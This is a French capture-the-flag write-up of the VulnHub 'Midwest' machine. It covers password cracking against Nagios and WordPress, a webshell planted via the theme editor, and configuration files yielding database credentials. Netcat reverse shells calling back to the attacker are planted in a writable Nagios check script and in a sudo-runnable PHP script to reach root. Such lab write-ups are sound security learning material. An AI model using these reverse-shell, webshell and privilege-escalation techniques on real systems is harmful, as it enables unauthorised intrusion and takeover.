Midwest est un CTF proposé sur VulnHub. Il a été mis en ligne en juin 2021 et à ce jour il semble que personne ne l’ai résolu jusqu’à présent.
Il faut dire que l’auteur mentionne qu’il faut A bit of brute force mais on est assez loin de la réalité (il faudrait compter au minimum deux heures).
Une fois cette étape passée il faut se battre avec un Nagios qui n’est pas facile à appréhender.
Une fois résolu on est tout de même satisfait de CTF donc merci à @renmizo de l’avoir créé.
1
2
3
4
5
6
7
8
9
10
11
12
13
Nmap scan report for 192.168.56.105
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 3162bbfc879a390196540318bb03bc90 (RSA)
| 256 4d2168a058a41827babd29baa791bc35 (ECDSA)
|_ 256 77ce55b48793dc4c056e67903f78d064 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-generator: WordPress 5.6
|_http-title: Midwest Power – Powering the future!
Le port 80 livre un Wordpress avec des liens pour www.midwest.htb
. On ajoute aussitôt une entrée dans le /etc/hosts
histoire que ça s’affiche correctement.
Le blog est quasi vide et ne délibre pas d’informations de grande importances. J’enchaine donc sur une énumération avec Feroxbuster
:
1
2
3
4
5
6
7
301 9l 28w 323c http://www.midwest.htb/javascript
301 9l 28w 323c http://www.midwest.htb/wp-content
301 9l 28w 324c http://www.midwest.htb/wp-includes
301 9l 28w 321c http://www.midwest.htb/wp-admin
403 9l 28w 280c http://www.midwest.htb/server-status
200 276l 1469w 0c http://www.midwest.htb/
401 14l 54w 462c http://www.midwest.htb/nagios
Po Po Po Po Po Power
Il y a ici un Nagios
qui demande des identifiants. Je prend donc la recommandation de l’auteur à la lettre et commence à bruteforcer le Nagios.
Je tente avec les utilisateurs nagios
, nagiosadmin
, admin
qui semblent assez officiels. J’arrête après un moment car j’estime que sur un CTF on ne devrait pas passer plus de 10 minutes à bruteforcer un utilisateur.
Je décide donc de passer à GitHub - digininja/CeWL: CeWL is a Custom Word List Generator : un outil qui va générer une wordlist depuis les mots présents sur le Wordpress.
On peut le lancer via une image Docker qu’il faut d’abord build
mais j’obtiens une erreur liée à la version de bundler. C’est résolu en modifiant le Dockerfile
comme suivant :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM ruby:2.5-alpine
ENV RUBYOPT "rubygems"
COPY Gemfile /usr/src/CeWl/
WORKDIR /usr/src/CeWl
RUN set -ex \
&& apk add --no-cache --virtual .build-deps build-base \
&& gem install bundler -v 2.3.26 \
&& bundle install \
&& apk del .build-deps
COPY . /usr/src/CeWL
WORKDIR /host
ENTRYPOINT ["/usr/src/CeWL/cewl.rb"]
Je peux désormais build
:
1
docker build -t cewl .
Puis lancer l’extraction :
1
docker run --add-host www.midwest.htb:192.168.56.105 -it --rm cewl http://www.midwest.htb/ > words.txt
On obtient une liste de mots assez basiques et en grande partie inutile (je ne m’étendrais pas sur mon opinion sur cet outil), libre à chacun de faire le tri derrière ou de coder quelque chose de mieux (à base de NLP, stopwords, etc).
A partir de cette liste on peut utiliser John The Ripper
pour générer des permutations :
1
john --rules --wordlist=words.txt --stdout | sort | uniq > wordlist.txt
Il faut compter une demi heure pour casser le mot de passe de nagiosadmin
(PowerPower
).
Pour ce qui est du Wordpress on peut utiliser wpscan
pour brute forcer le compte admin
via xmlrpc
. Là il faut bien compter 2 heures au bas mot.
J’ai préféré shunter cette étape car entre lancer un outil de bruteforce et attendre 5 minutes et lancer un outil de bruteforce et attendre 5 heures il n’y a aucune compétence supplémentaire requise.
J’ai donc accédé au disque de la VM pour extraire les hashs. Ceux du Nagios sont du sha1 mais encodé en base64, il faut les décoder et obtenir la version hexa :
1
2
3
4
5
6
>>> from base64 import b64decode
>>> from binascii import hexlify
>>> hexlify(b64decode("CR5yxS528yxH6d4rAwgvtKyuAvM="))
b'091e72c52e76f32c47e9de2b03082fb4acae02f3'
>>> hexlify(b64decode("L21ZSH6P9HEpeFEW312EItg4fkY="))
b'2f6d59487e8ff47129785116df5d8422d8387e46'
Et pour le Wordpress il faut bien sûr extraire le hash phpass
de la base.
1
2
3
4
5
6
7
8
9
10
11
$ john --wordlist=wordlist.txt hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:00:11 38.35% (ETA: 14:03:45) 0g/s 11262p/s 11262c/s 11262C/s hayears..hcfamilies
Power9 (admin)
1g 0:00:00:20 DONE (14:03) 0.04844g/s 11209p/s 11209c/s 11209C/s power87..power955
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
Comptez 15 minutes pour casser le phpass
tout de même !
Via le Nagios
il semble qu’il n’y ait rien que l’on puisse faire directement pour obtenir une exécution de commande, on va donc utiliser le compte Wordpress et aller comme d’habitude éditer un script PHP via le Theme Editor
.
Le thème twentynineteen
est modifiable, on peut ajouter un webshell dans le 404.php
et obtenir notre RCE de cette façon :
http://www.midwest.htb/wp-content/themes/twentynineteen/404.php?cmd=id
Sur le système je peux lister les fichiers sur lesquels j’ai un accès en écriture et ils sont nombreux :
1
find / -type f -writable 2> /dev/null | grep -v /var/www | grep -v /proc
Grosso modo ça correspond aux fichiers dans les dossiers suivants :
1
2
3
4
/usr/local/nagios/
/usr/local/nagiosxi/
/var/lib/snmp/mibs/
/usr/local/nagvis/
Usine à gaz
On a donc pas mal de contrôle sur le Nagios
. Je ne connais ce software que de nom alors j’ai d’abord cherché ses fichiers de configurations. Par exemple dans le premier dossier il y a le fichier /usr/local/nagios/etc/ndo.cfg
qui contient les identfiants suivants :
1
2
3
4
5
6
7
8
9
# Default NDO config for Nagios XI
db_user=ndoutils
db_pass=n@gweb
db_name=nagios
db_host=localhost
db_port=3306
#db_socket=/var/lib/mysql.sock
db_max_reconnect_attempts=5
Ou dans le fichier /usr/local/nagiosxi/html/config.inc.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// DB-specific connection information
$cfg['db_info'] = array(
"nagiosxi" => array(
"dbtype" => 'mysql',
"dbserver" => '',
"user" => 'nagiosxi',
"pwd" => 'n@gweb',
"db" => 'nagiosxi',
"charset" => "utf8",
"dbmaint" => array( // variables affecting maintenance of db
"max_auditlog_age" => 180, // max time (in DAYS) to keep audit log entries
"max_commands_age" => 480, // max time (minutes) to keep commands
"max_events_age" => 480, // max time (minutes) to keep events
"optimize_interval" => 60, // time (in minutes) between db optimization runs
"repair_interval" => 0, // time (in minutes) between db repair runs
),
),
// --- snip ---
"nagiosql" => array(
"dbtype" => 'mysql',
"dbserver" => 'localhost',
"user" => 'nagiosql',
"pwd" => 'n@gweb',
"db" => 'nagiosql',
"charset" => "utf8",
"dbmaint" => array( // variables affecting maintenance of db
"max_logbook_age" => 480, // max time (minutes) to keep log book records
"optimize_interval" => 60, // time (in minutes) between db optimization runs
"repair_interval" => 0, // time (in minutes) between db repair runs
),
),
Il n’y a rien d’intéressant dans la base nagiosxi
mais les deux autres contiennent des données.
Nagios
(dans cette version 4.4.6
en tout cas) n’est pas vraiment ergonomique mais dans la section Configuration
de l’interface web on trouve différentes entités qui définissent quoi monitorer et de quelle façon.
Via la base de données j’ai compris qu’un moniteur est définit via un Service
qui est basé sur une Command
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [nagios]> select display_name, check_command_object_id, check_command_args from nagios_services where service_id=5;
+--------------+-------------------------+---------------------+
| display_name | check_command_object_id | check_command_args |
+--------------+-------------------------+---------------------+
| PING | 50 | 100.0,20%!500.0,60% |
+--------------+-------------------------+---------------------+
1 row in set (0.001 sec)
MariaDB [nagios]> select * from nagios_commands where command_id=50;
+------------+-------------+-------------+-----------+--------------------------------------------------------------+
| command_id | instance_id | config_type | object_id | command_line |
+------------+-------------+-------------+-----------+--------------------------------------------------------------+
| 50 | 1 | 1 | 50 | $USER1$/check_ping -H $HOSTADDRESS$ -w $ARG1$ -c $ARG2$ -p 5 |
+------------+-------------+-------------+-----------+--------------------------------------------------------------+
1 row in set (0.001 sec)
Mon idée était de modifier l’entrée command_line
pour obtenir une exécution de code mais les modifications n’ont eu aucun effet.
Le fait que le CGI ne soit pas linké à une librairie pour mysql m’a mis sur la bonne piste :
1
2
3
4
5
6
www-data@midwest:/usr/local/nagios$ file ./sbin/config.cgi
./sbin/config.cgi: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=266c583d1d0293fc51ac8afdbc7050e9bcb9f59f, stripped
www-data@midwest:/usr/local/nagios$ ldd ./sbin/config.cgi
linux-vdso.so.1 (0x00007ffe5379f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fef0f44f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fef0f66b000)
La configuration de Nagios ici doit se reposer sur des fichiers et effectivement je retrouve la commande ping définie dans /usr/local/nagios/etc/commands.cfg
:
1
2
3
4
define command {
command_name check_ping
command_line $USER1$/check_ping -H $HOSTADDRESS$ -w $ARG1$ -c $ARG2$ -p 5
}
Le programme mentionné se trouve à /usr/local/nagios/libexec/check_ping
et il s’agit d’un binaire ELF.
J’ai essayé de modifier le fichier cfg
mais il semble que la modification ne soit pas rechargée et je ne dispose pas de droits suffisants pour envoyer un signal au process Nagios
.
Toutefois dans les services il y en a un nommé Memory Usage
faisant appel à la Command
check_local_mem
qui correspond à l’entrée suivante :
1
2
3
4
define command {
command_name check_local_mem
command_line $USER1$/custom_check_mem -w $ARG1$ -c $ARG2$ -n
}
Il s’agit d’un script bash et on a bien un accès écriture :
1
2
3
4
www-data@midwest:/usr/local/nagios$ file libexec/custom_check_mem
libexec/custom_check_mem: Bourne-Again shell script, ASCII text executable
www-data@midwest:/usr/local/nagios$ ls -al libexec/custom_check_mem
-rwxrwxr-x 1 www-data nagios 3435 Jan 22 2021 libexec/custom_check_mem
Je le modifie pour ajouter la commande nohup nc -e /bin/sh 192.168.56.1 7777&
et j’attend que mon shell vienne et que ma volonté soit faite (envoie sa soeur !) :
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ncat -l -p 7777 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 192.168.56.106.
Ncat: Connection from 192.168.56.106:51380.
id
uid=1001(nagios) gid=1001(nagios) groups=1001(nagios),1002(nagcmd)
cd /home/nagios
mkdir .ssh
cd .ssh
echo ssh-rsa AAAA--- snip ma clé publique SSH snip ---cT7R== > authorized_keys
exit
Je peux alors me connecter au SSH avec l’utilisateur Nagios
et j’obtiens bien le premier flag :
1
2
nagios@midwest:~$ cat user.txt
7ec306b6fa01510ffc4e0d0fac97c23e
Root 66
Pour l’escalade de priviléges, le compte a un bon nombre de permissions sudo :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
nagios@midwest:~$ sudo -l
Matching Defaults entries for nagios on midwest:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User nagios may run the following commands on midwest:
(root) NOPASSWD: /etc/init.d/nagios start
(root) NOPASSWD: /etc/init.d/nagios stop
(root) NOPASSWD: /etc/init.d/nagios restart
(root) NOPASSWD: /etc/init.d/nagios reload
(root) NOPASSWD: /etc/init.d/nagios status
(root) NOPASSWD: /etc/init.d/nagios checkconfig
(root) NOPASSWD: /etc/init.d/npcd start
(root) NOPASSWD: /etc/init.d/npcd stop
(root) NOPASSWD: /etc/init.d/npcd restart
(root) NOPASSWD: /etc/init.d/npcd reload
(root) NOPASSWD: /etc/init.d/npcd status
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
(root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
(root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
(root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh *
On peut utiliser awk
et xargs
pour voir les permissions des exécutables mentionnés :
1
2
3
4
5
6
7
8
9
10
11
nagios@midwest:~$ sudo -l | grep NOPASSWD | awk '{ print $3 }' | sort | uniq | xargs ls -al
ls: cannot access '/etc/init.d/nagios': No such file or directory
-rwxr-xr-x 1 root root 2110 Jan 22 2021 /etc/init.d/npcd
lrwxrwxrwx 1 root root 21 Jan 22 2021 /usr/bin/php -> /etc/alternatives/php
-r-xr-x--- 1 root nagios 7714 Jan 22 2021 /usr/local/nagiosxi/scripts/backup_xi.sh
-r-xr-x--- 1 root nagios 1800 Jan 22 2021 /usr/local/nagiosxi/scripts/change_timezone.sh
-r-xr-x--- 1 root nagios 16332 Jan 22 2021 /usr/local/nagiosxi/scripts/components/getprofile.sh
-r-xr-x--- 1 root nagios 3809 Jan 22 2021 /usr/local/nagiosxi/scripts/manage_services.sh
-r-xr-x--- 1 root nagios 3820 Jan 22 2021 /usr/local/nagiosxi/scripts/manage_ssl_config.sh
-r-xr-x--- 1 root nagios 4894 Jan 22 2021 /usr/local/nagiosxi/scripts/reset_config_perms.sh
-r-xr-x--- 1 root nagios 2914 Jan 22 2021 /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
Aucun accès en écriture… mais qu’en est-il des scripts PHP exécutés par /usr/bin/php
?
1
2
nagios@midwest:~$ ls -al /usr/local/nagiosxi/scripts/send_to_nls.php
-rwxr-xr-x 1 nagios nagios 1534 Jan 22 2021 /usr/local/nagiosxi/scripts/send_to_nls.php
Bingo ! Je rajoute la ligne suivante :
1
system("/usr/bin/nc -e /bin/bash 192.168.56.1 7777");
Et j’exécute :
1
nagios@midwest:/usr/local/nagios/libexec$ sudo /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php yop
Cette fois le shell est root, mission accomplie !
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ncat -l -p 7777 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 192.168.56.105.
Ncat: Connection from 192.168.56.105:47878.
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
root.txt
cat root.txt
0d599f0ec05c3bda8c3b8a68c32a1b47
Publié le 16 février 2023